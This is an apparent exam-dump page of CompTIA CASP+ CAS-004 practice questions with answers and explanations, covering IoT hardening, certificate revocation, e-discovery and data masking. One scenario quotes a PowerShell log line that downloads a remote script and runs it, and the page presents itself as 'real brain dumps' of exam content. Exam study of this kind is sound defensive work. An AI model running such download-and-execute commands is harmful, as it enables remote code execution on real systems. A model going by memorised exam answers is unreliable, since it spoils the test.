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The CASP+ certification is recognized by major corporations and government agencies around the world. It is highly valued by employers who are looking for professionals with advanced cybersecurity skills. CompTIA Advanced Security Practitioner (CASP+) Exam certification is also recognized by the U.S. Department of Defense (DoD) and meets the requirements of the DoD 8570.01-M for Information Assurance Manager Level III and Information Assurance Technical Level III.

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CAS-004 Real Brain Dumps & Reliable CAS-004 Test Questions

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CompTIA Advanced Security Practitioner (CASP+) Exam Sample Questions (Q133-Q138):

NEW QUESTION # 133

The security analyst discovers a new device on the company's dedicated IoT subnet during the most recent vulnerability scan. The scan results show numerous open ports and insecure protocols in addition to default usernames and passwords. A camera needs to transmit video to the security server in the IoT subnet. Which of the following should the security analyst recommend to securely operate the camera?

- A. Harden the camera configuration.
- B. Encrypt the camera's video stream
- C. Send camera logs to the SIEM.
- D. Place the camera on an isolated segment

Answer: A

Explanation:

To securely operate the camera, the security analyst should recommend hardening the camera configuration. This involves several steps:

Changing Default Credentials: Default usernames and passwords are a common vulnerability. They should be replaced with strong, unique passwords.

Disabling Unnecessary Services and Ports: The numerous open ports and insecure protocols should be reviewed, and any unnecessary services should be disabled to reduce the attack surface.

Firmware Updates: Ensuring the camera's firmware is up to date will mitigate known vulnerabilities.

Enable Encryption: If possible, enable encryption for both data in transit and at rest to protect the video stream and other communications from interception.

This approach addresses the identified vulnerabilities directly and ensures that the device is more secure. Simply sending logs to the SIEM or isolating the camera might not fully mitigate the risks associated with default settings and open ports.

Reference:

CompTIA CASP+ CAS-004 Exam Objectives: Section 2.4: Implement security activities across the technology life cycle.

CompTIA CASP+ Study Guide, Chapter 5: Implementing Host Security.

NEW QUESTION # 134

A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file:

powershell 'IEX(New-Object Net.WebClient).DownloadString
(<https://content.comptia.org/casp/whois.ps1>);whois"

Which of the following security controls would have alerted and prevented the next phase of the attack?

- A. Reverse proxy and sandbox
- B. Antivirus and UEBA
- C. Forward proxy and MFA
- D. EDR and application approved list

Answer: D

Explanation:

An EDR and whitelist should protect from this attack.

NEW QUESTION # 135

A security architect must mitigate the risks from what is suspected to be an exposed, private cryptographic key. Which of the following is the best step to take?

- A. Disable the website using the suspected certificate.
- B. Contact the company's Chief Information Security Officer.
- C. Inform all the users of the certificate.
- D. Alert the root CA.
- E. Revoke the certificate.

Answer: E

Explanation:

In the context of a private cryptographic key suspected to be exposed, the best immediate action is to revoke the certificate associated with that key. Revoking the certificate ensures that it cannot be used to establish new secure sessions, which prevents attackers from using the potentially compromised key to impersonate or decrypt communications. The revocation process typically involves updating the Certificate Revocation List (CRL) or leveraging the Online Certificate Status Protocol (OCSP), both of which are used by clients to check the validity of certificates.

NEW QUESTION # 136

A security team received a regulatory notice asking for information regarding collusion and pricing from staff members who are no longer with the organization. The legal department provided the security team with a list of search terms to investigate.

This is an example of:

- A. legal hold.
- B. due intelligence
- C. due care.
- D. e-discovery.

Answer: D

Explanation:

E-discovery is a form of digital investigation that attempts to find evidence in email, business communications and other data that could be used in litigation or criminal proceedings. The traditional discovery process is standard during litigation, but e-discovery is specific to digital evidence. The evidence from electronic discovery could include data from email accounts, instant messages, social profiles, online documents, databases, internal applications, digital images, website content and any other electronic information that could be used during civil and criminal litigation.

NEW QUESTION # 137

An organization handles sensitive information that must be displayed on call center technicians' screens to verify the identities of remote callers. The technicians use three randomly selected fields of information to complete the identity verification. Some of the fields contain PII that are unique identifiers for the remote callers. Which of the following should be implemented to identify remote callers while also reducing the risk that technicians could improperly use the identification information?

- A. Data masking
- B. Scrubbing
- C. Tokenization
- D. Encryption

Answer: A

Explanation:

Comprehensive and Detailed Step by Step

Data masking obscures sensitive data displayed on screens, such as masking certain characters (e.g., showing *** for parts of SSNs).

It allows legitimate use while protecting the data from being misused or stolen.

Encryption is unrelated because it protects data in transit or at rest but does not address how it is displayed.

Tokenization replaces data with a token but is more relevant for storage and transactional systems, not screen data.

Scrubbing refers to cleansing datasets but does not address this scenario.

Reference:

CompTIA CASP+ Exam Objective 3.4: Implement controls to reduce privacy and information risks.

CASP+ Study Guide, 5th Edition, Chapter 8, Privacy Controls.

NEW QUESTION # 138

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